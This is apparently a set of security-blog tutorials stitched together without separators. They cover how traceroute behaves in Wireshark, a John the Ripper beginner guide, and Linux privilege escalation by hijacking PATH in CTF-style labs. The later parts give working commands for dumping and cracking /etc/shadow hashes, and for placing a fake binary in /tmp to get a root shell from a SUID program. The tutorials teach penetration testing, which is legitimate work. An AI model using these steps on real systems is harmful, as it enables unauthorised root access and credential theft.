Working of Traceroute using Wireshark

Hello Friends!! Today we are going to discuss working with traceroute using UDP/ICMP/TCP packets with help of Wireshark.

Traceroute or Tracert: It is a CUI based computer network diagnostic tools used in UNIX and Windows-like system respectively. It traces the path of a packet from the source machine to an Internet host such as Goole.com by calculating the average time taken each hop. Traceroute sends a UDP packet to the destination by taking benefit of ICMP’s messages. It uses the ICMP error-reporting messages –Destination Unreachable and Time exceeded.

TTL: The time-to-live value, also known as hop limit, is used in determining the intermediate routers being traversed between source to the destination. 

Hop: A hop is one portion of the path between source and destination. Data packets pass through bridges, routers and gateways as they travel between source and destination. On the internet, before the data reach its final destination, it goes through several routers and a hop occurs when an incoming packet is forwarded to the next router.

Asterisk (*): Denotes probe timeout which means that the router at that hop doesn't respond to the packet received from the source used for the traceroute due to firewall filter.

Working of Traceroute

Read below steps:

• Traceroute sends a UDP packet with a TTL = 1 from the source to destination.
• When the first router receives the UDP packet it reduce the TTL value by 1 (1-1=0) then drop the packet and sends an ICMP message “Time exceeded” to the source. Thus Traceroute makes a list of the router’s address and the time taken for the round-trip.

The TTL time exceeded ICMP message is sent after the TTL value of a UDP packet gets zero. In typical condition, a network doesn't have such a diameter that lead the TTL=0. This could be possible when there is a routing loop. In this case, as the packet is sent back and forth between the looping points, the TTL keeps getting decremented until it becomes zero. And at last source receives ICMP Error message sent by the router.

• Again source device sends two more packets in the same way to get an average value of the round-trip time and again TTL gets zero when reached to the 2^nd router and response through ICMP error message time exceeds.
• Traceroute keeps on doing this, and record the IP address and name of every router until the UDP packets reach to the destination address. Once it reached at the destination address reached, Time exceeded ICMP message is NOT sent back to the source.
• Since Traceroute uses the random port for sending UDP packets as result destination machine will drop the packet and send a new ICMP error message-Destination Unreachable to the source which indicates the UDP packets has reached to the destination address.

Tracert with Wireshark

As discusses above tracert is CLI utility for windows system to trace the path of a packet from source to destination. So here with help of the following command, we can observe the path of packet travels to reach Google DNS.

Syntax: tracert [options] Host IP

tracert 8.8.8.8

or

tracert -d 8.8.8.8

Traceroute generates a list of each hop by entering IP of routers that traversed between source and destination and average round-rip time. As result hop 22 denotes entry of destination i.e. Google DNS.

In order to notice the activity of traceroute, we have turned on Wireshark in the background.

Note: Result of tracert can vary each time for hop count but does not go beyond 30 hops because it is maximum hop limit. 

At Wireshark we notice following points:

·         ICMP echo request packet is used instead of UDP to send DNS query.

·         The packet first goes from source 192.168.1.101 to first router 192.168.1.1 having ICMP echo request packet with TTL=1

·         Router will drop that packet and sent ICMP Time Exceed error message to the source.

·         All this happens 3 times before the source machine sends next packet by incrementing TTL value by 1 i.e. TTL=2.

Form this image we can observe ICMP echo reply message is sent from 8.8.8.8 (destination) to 192.168.1.101 (source) for TTL 22.

Traceroute with Wireshark (via UDP packets)

As discussed above traceroute in utility for Unix -like the system to trace the path of a packet from source to destination. So here with help of the following command, we can observe the path of packet travels to reach Google DNS.

Syntax: traceroute [options] Host IP

traceroute 8.8.8.8

Traceroute generates a list of each hop by entering IP of routers that comes between source and destination and average round-rip time. As result hop 21 denotes entry of destination i.e. Google DNS.

In order to notice the activity of traceroute, we have turned on Wireshark in the background.

Note: Result of traceroute can vary each time for hop count but does not go beyond 30 hops because it is maximum hop limit. 

At Wireshark we notice following points:

• UDP packet is used to send DNS query with help of 32-bit payload.
• The packet first goes from source 192.168.1.101 to first router 192.168.1.1 having ICMP request packet with TTL=1
• Router will drop that packet and sent ICMP Time Exceed error message to the source.
• All this happens 3 times before the source sent next packet with increment TTL value by 1 i.e. TTL=2.

In tracert we have seen that each TTL value between source to the first router proceeds 3 times, similarly same techniques followed by UDP. To demonstrate this we have explored UDP packets 5,6,7 and 8th continuously.

In the 5^th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33435 and count as Hop #1, attempt #1.

In the 6^th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33436 and count as Hop #1, attempt #2.

Similarly, in the 7^th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33437 and count as Hop #1, attempt #3.

In the 8^th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33436 and count as Hop #2, attempt #1 and repeat so on process till reaches the destination.

In packet 79^th we observe the last hop captured was hop #10 attempt #3 when the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33464 and Time exceeded ICMP message is NOT sent back to the source after this.

As result, at last source received ICMP message Destination Port Unreachable which means our UDP packet reaches on the destination address.

At last from given below image we observed following:

·         Source sent DNS query to the router for DNS lookup 8.8.8.8

·         Router sent a response to source as the answer of DNS Name Google-Public-DNS-google.com

Traceroute with Wireshark (via ICMP packets)

As you know by default traceroute use UDP packet but with help of -I option you can make it work as tracert which uses ICMP request packet.

traceroute -I 8.8.8.8

 It generates a list of each hop by entering IP of routers that comes between source and destination and average round-rip time. As result hop 22 denotes entry of destination i.e. Google DNS. In order to notice the activity of traceroute, we have turned on Wireshark in the background.

At Wireshark we notice following points:

First ICMP echo request packet will be sent to the first router with TTL 1 and it will send back an ICMP error message time exceed which follow same technique as explain above in tracert with Wireshark.

At last from given below image we observed following:

·         ICMP echo reply message is sent from 8.8.8.8 (destination) to 192.168.1.101 (source) for TTL 22.

·         Source sent DNS query to the router for DNS lookup 8.8.8.8

·         Router sent the response to source as the answer of DNS Name Google-Public-DNS-google.com

Traceroute with Wireshark (via TCP packets)

As you know by default traceroute use UDP packet with use ICMP error message for generating a response but with help of -T option you can use TCP packet, which uses syn request packet via port 80. It is most useful in diagnosing connection issues to a specific service eg. Web server.

tcptraceroute - 8.8.8.8

or

traceroute -T 8.8.8.8

As we know the maximum hop is 30 and but here till 30^th hop we didn't find desirable output. TCP traceroute basically follow TCP half communication and waits for the sys-ack packet from destination till the last hop.  

In order to notice the activity of tcp traceroute, we have turned on Wireshark in the background where we noticed that, it work same as UDP but here syn packet are used to send the request to the destination. Tcptraceroute does not measure the time it takes to complete the three-way handshake because that never occurs in such situation. It only measures the time from the initial SYN to the SYN/ACK.

Since Wireshark also didn’t noticed any syn-ack packet from destination to source, therefore, Tcptraceroute didn’t edit destination response in its record list this is due to because it is useful while diagnosing web server.

Therefore let's check the path of Google.com and notice the behaviour of tcptraceroute. And you compare both result and behaviour of TCP in case of Google DNS server and Google web server.

tcptraceroute google.com

Here we can clearly observe the response of destination machine through SYN, ACK and a complete entry recorded by traceroute.

It is as similar as above, the source sent the TCP-SYN packet to the destination machine on port 80 and received ICMP error message from router for time exceed and repeat the process till it receives ACK_SYN form destination.

Here we can observe ACK-SYN packet from the destination (172.168.161.14) is sent to source (192.1681.103) from port 80 and source again sent RST packet to the destination via port 80.

This entry will get recorded by traceroute in its record list.

Beginner Guide John the Ripper (Part 1)

We know the importance of John the ripper in penetration testing, as it is quite popular among password cracking tool. In this article, we are introducing the John the ripper and its various usage for beginners.

What is John the Ripper?

John the Ripper is a free password cracking software tool developed by Openwall. Originally developed for Unix Operating Systems but later on developed for other platforms as well. It is one of the most popular password testings and breaking programs as it combines a number of password crackers into one package, autodetects password hash types, and includes a customizable cracker. It can be run against various encrypted password formats including several crypt password hash types commonly found in Linux, Windows. It can also be to crack passwords of Compressed files like ZIP and also Documents files like PDF.

Where to get John the Ripper?

John the Ripper can be downloaded from Openwall’s Website here.

Or from the Official John the Ripper Repo here

John the Ripper comes Preinstalled in Linux Kali and can be run from the terminal as shown below:

John the Ripper works in 3 distinct modes to crack the passwords:

1.       Single Crack Mode

2.       Wordlist Crack Mode

3.       Incremental Mode 

John the Ripper Single Crack Mode

In this mode John the ripper makes use of the information available to it in the form of a username and other information. This can be used to crack the password files with the format of

Username: Password

For Example: If the username is “Hacker” it would try following passwords:

hacker

HACKER

hacker1

h-acker

hacker=

We can use john the ripper in Single Crack Mode as follows:

Here we have a text file named crack.txt containing the username and password, where the password is encrypted in sha1 encryption so to crack this password we will use:

Syntax: john [mode/option] [password file]

john --single --format=raw-sha1 crack.txt

As you can see in the screenshot that we have successfully cracked the password.

Username: ignite Password: IgNiTe

John the Ripper Wordlist Crack Mode

In this mode John the ripper uses a wordlist that can also be called a Dictionary and it compares the hashes of the words present in the Dictionary with the password hash. We can use any wordlist of our choice. John also comes in build with a password.lst which contains most of the common passwords.

Let’s see how John the Ripper cracks passwords in Wordlist Crack Mode:

Here we have a text file named crack.txt containing the username and password, where the password is encrypted in sha1 encryption so to crack this password we will use:

Syntax: john [wordlist] [options] [password file]

john --wordlist=/usr/share/john/password.lst --format=raw-sha1 crack.txt

As you can see in the screenshot, john the Ripper have cracked our password to be asdfasdf

Cracking the User Credentials

We are going to demonstrate two ways in which we will crack the user credentials of a Linux user.

Before that we will have to understand, what is a shadow file?

In Linux operating system, a shadow password file is a system file in which encrypted user password is stored so that they are not available to the people who try to break into the system. It is located at /etc/shadow.

First Method

Now, for the first method, we will crack the credentials of a particular user “pavan”.

Now to do this First we will open the shadow file as shown in the screenshot.

And we will find the credentials of the user pavan and copy it from here and paste it into a text file. Here we have the file named crack.txt.

Now we will use john the ripper to crack it.

john crack.txt

As you can see in the screenshot that john the ripper has successfully cracked the password for the user pavan.

Second Method

Now, for the second method, we will collectively crack the credentials for all the users.

To do this we will have to use a john the ripper utility called “unshadow”.

unshadow /etc/passwd /etc/shadow > crack.txt

Here the unshadow command is combining the /etc/passwd and /etc/shadow files so that John can use them to crack them. We are using both files so that John can use the information provided to efficiently crack the credentials of all users.

Here is how the crack file looks after unshadow command.

Now we will use john to crack the user credentials of all the users collectively.

john –wordlist=/usr/share/john/password.lst crack.txt

As you can see from the provided screenshot that we have discovered the following credentials:

User	Password
Raj	123
Pavan	Asdfasdf
Ignite	Yellow

Stopping and Restoring Cracking

While John the ripper is working on cracking some passwords we can interrupt or pause the cracking and Restore or Resume the Cracking again at our convenience.

So while John the Ripper is running you can interrupt the cracking by Pressing “q” or Crtl+C as shown in the given screenshot

Now to resume or restore the cracking process we will use the --restore option of John the ripper as shown in the screenshot

Now we will decrypt various hashes using John the Ripper

SHA1

To decrypt SHA1 encryption we will use RockYou as wordlist and crack the password as shown below:

john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha1 crack.txt

As you can see in the given screenshot that we have the username pavan and password as Hacker

MD5

To decrypt MD5 encryption we will use RockYou as wordlist and crack the password as shown below:

john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-md5 crack.txt

As you can see in the given screenshot that we have the username pavan and password as P@ssword.

MD4

To decrypt MD4 encryption we will use RockYou as wordlist and crack the password as shown below:

john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-md4 crack.txt

As you can see in the given screenshot that we have the username pavan and password as Rockyou

SHA256

To decrypt SHA256 encryption we will use RockYou as wordlist and crack the password as shown below:

john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha256 crack.txt

As you can see in the given screenshot that we have the username pavan and password as pAsSwOrD

RIPEMD128

To decrypt RIPEMD128 encryption we will use RockYou as wordlist and crack the password as shown below:

john –wordlist=/usr/share/wordlists/rockyou.txt –format=ripemd-128 crack.txt

As you can see in the given screenshot that we have the username pavan and password as password123

Whirlpool

To decrypt whirlpool encryption we will use RockYou as wordlist and crack the password as shown below:

john –wordlist=/usr/share/wordlists/rockyou.txt –format=whirlpool crack.txt

As you can see in the given screenshot that we have the username pavan and password as password666

View All Formats

John the Ripper support many encryptions some of which we showed above. To view all the formats it supports:

john –list=formats

Hope,  you can take reference of this article while using John the ripper, More on John the Ripper will be in the Next Part.

Abbreviating the options

We don’t have to type complete option every time we use john the ripper, Developers have give users the option to abbreviate the options like

--single can be written as -si

--format can be written as -form

Shown below is an example how to use these abbreviations.

john -si crack.txt -form=raw-md5

Another abbreviation we can use is:

--wordlist can be written as -w

john -w=/usr/share/wordlists/rockyou.txt crack.txt -form=raw-md5

Cracking Multiple Files

We can also crack multiple hash files, if they have the same encryption. Let’s take an example, we have two files.

1.       Crack.txt

2.       Md5.txt

Both contain md5 hashes, so to crack both files in one session, we will run john as follow:

Syntax: john [file 1][file 2]

john -form=raw-md5 crack.txt md5.txt

Linux Privilege Escalation Using PATH Variable

After solving several OSCP Challenges we decided to write the article on the various method used for Linux privilege escalation, that could be helpful for our readers in their penetration testing project. In this article, we will learn “various method to manipulate $PATH variable” to gain root access of a remote host machine and the techniques used by CTF challenges to generate $PATH vulnerability that lead to Privilege escalation. If you have solved CTF challenges for Post exploit then by reading this article you will realize the several loopholes that lead to privileges escalation.

Table of contents

Introduction

·         What is PATH

·         How to view PATH of remote machine

Operating Nullbyte CTF

·         Ubuntu victim lab set-up

·         Penetrating victim’s VM Machine

·         Exploiting $PATH via:

·         Echo command

·         cp command

·         symlinking

Operating Skuzzy CTF

·         Ubuntu victim lab set-up

·         Penetrating victim’s VM Machine

·         Exploiting $PATH via:

·         Echo command

Operating Lazy HTB

·         Ubuntu victim lab set-up

·         Penetrating victim’s VM Machine

·         Exploiting $PATH via:

·         Nano Editor

Operating PwnLab CTF

·         Ubuntu victim lab set-up

·         Penetrating victim’s VM Machine

·         Exploiting $PATH via:

·         Vi editor

Lets Start!!

Introduction

PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories where executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with help of PATH Variable in response to commands executed by a user. The superuser also usually has /sbin and /usr/sbin entries for easily executing system administration commands. 

It is very simple to view Path of revelent of revelent user with help of echo command

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

If you notice ‘.’ in your PATH it means that the logged user can execute binaries/scripts from the current directory and it can be an excellent technique for an attacker to escalate root privilege. This is due to lack of attention while writing program thus admin do not specify the full path to the program.

Operating Nullbyte CTF

Nullbyte is a CTF challenge hosted by vulnhub to sharpen your penetration skillset. When you will solve this challenge you will realize that for the privilege escalation you have manipulated environment PATH for ps command which is a system binary.  

But here we are trying to enumerate the loophole that leads to privileges escalation and for that, we will set up our own local machine (Ubuntu) and try to configure approx. same vulnerability, therefore we request you go with the walkthrough of each lab mention in this article.

Ubuntu LAB SET_UP

Currently, we are in /home/raj directory where we will create a new directory with the name as /script. Now inside script directory, we will write a small c program to call a function of system binaries.

pwd

mkdir script

cd /script

nano demo.c

As you can observe in our demo.c file we are calling ps command which is system binaries.

After then compile the demo.c file using gcc and promote SUID permission to the compiled file.

ls

gcc demo.c -o shell

chmod u+s shell

ls -la shell

Penetrating victim’s VM Machine

First, you need to compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command.

find / -perm -u=s -type f 2>/dev/null

Hence with help of above command, an attacker can enumerate any executable file, here we can also observe /home/raj/script/shell having suid permissions.

Then we move into /home/raj/script and saw an executable file “shell”. So we run this file, and here it looks like the file shell is trying to run ps and this is a genuine file inside /bin for Process status.

ls

./shell

Echo command

cd /tmp

echo “/bin/sh” > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./shell

whoami

Copy command

cd /home/raj/script/

cp /bin/sh /tmp/ps

echo $PATH

export PATH=/tmp:$PATH

./shell

whoami

Symlink command

ln -s /bin/sh ps

export PATH=.:$PATH

./shell

id

whoami

NOTE: symlink is also known as symbolic links that will work successfully if the directory has full permission. In Ubuntu, we had given permission 777 to /script directory in the case of a symlink.

Thus we saw to an attacker can manipulate environment variable PATH for privileges escalation and gain root access.

Operating Skuzzy CTF

Skuzzy is also a CTF challenge hosted by vulnhub and when you will solve this challenge you will notice that for the privilege escalation we have manipulated environment PATH for id which is a system binary. It is also as similar to above Lab set-up with little bit modification.

LAB SET_UP

Currently, we are in /home/raj directory where we will create a new directory with the name as /script. Now inside script directory, we will write a small c program to call a function of system binaries.

pwd

mkdir script

cd /script

nano demo.c

As you can observe in our demo.c file we are calling id command which is system binaries.

After then compile the demo.c file using gcc and promote SUID permission to the compiled file.

ls

gcc demo.c -o shell2

chmod u+s shell2

ls -la shell2

Penetrating victim’s VM Machine

First, you need to compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command. Here we can also observe /home/raj/script/shell2 having suid permissions.

find / -perm -u=s -type f 2>/dev/null

Then we move into /home/raj/script and saw an executable file “shell2”. So we run this file, it looks like the file shell2 is trying to run id and this is a genuine file inside /bins.

cd /home/raj/script

ls

./shell2

Echo command

cd /tmp

echo “/bin/sh” > id

chmod 777 id

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./shell2

whoami

Operating Lazy HTB

Lazy is another CTF challenge hosted by Host The Box and when you will solve this challenge you will realize that for the privilege escalation you have manipulated environment PATH for cat command which is a system binary. It is also as similar to above Lab set-up with little bit modification.

LAB SET_UP

Repeat above step for setting your own lab and as you can observe in our demo.c file we are calling cat command to read the content from inside etc/passwd file.

After then compile the demo.c file using gcc and promote SUID permission to the compiled file.

ls

gcc demo.c -o raj

chmod u+s raj

ls -la raj

Penetrating victim’s VM Machine

Again compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo user list.

find / -perm -u=s -type f 2>/dev/null

Here we can also observe /home/raj/script/raj having suid permissions, then we move into /home/raj/script and saw an executable file “raj”. So when we run this file it put-up etc/passwd file as result.

cd /home/raj/script/

ls

./raj

Nano Editor

cd /tmp

nano cat

Now type /bin/bash when terminal get open and save it.

chmod 777 cat

ls -al cat

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./raj

whoami

Operating PwnLab CTF

PawLab is another CTF challenge hosted by vulnhub and when you will solve this challenge you will realize that for the privilege escalation you have manipulated environment PATH for cat command which is a system binary. It is also as similar to above Lab set-up with little bit modification. This set-up is not exactly as PwnLab setup but like an overview.

LAB SET_UP

Repeat above step for setting your own lab and as you can observe in our demo.c file we are calling cat command to read msg.txt which is inside /home/raj but there is no such file inside /home/raj.

After then compile the demo.c file using gcc and promote SUID permission to the compiled file.

ls

gcc demo.c -o ignite

chmod u+s ignite

ls -la ignite

Penetrating victim’s VM Machine

Once again compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo user list.

find / -perm -u=s -type f 2>/dev/null

Here we can also observe /home/raj/script/ignite having suid permissions, then we move into /home/raj/script and saw an executable file “ignite”. So when we run this file it put-up an error “cat: /home/raj/msg.txt” as result.

cd /home/raj/script

ls

./ignite

Vi Editor

cd /tmp

vi cat

Now type /bin/bash when terminal gets open and save it.

chmod 777 cat

ls -al cat

echo $PATH

export PATH=/tmp:$PATH

cd /home/raj/script

./ignite

whoami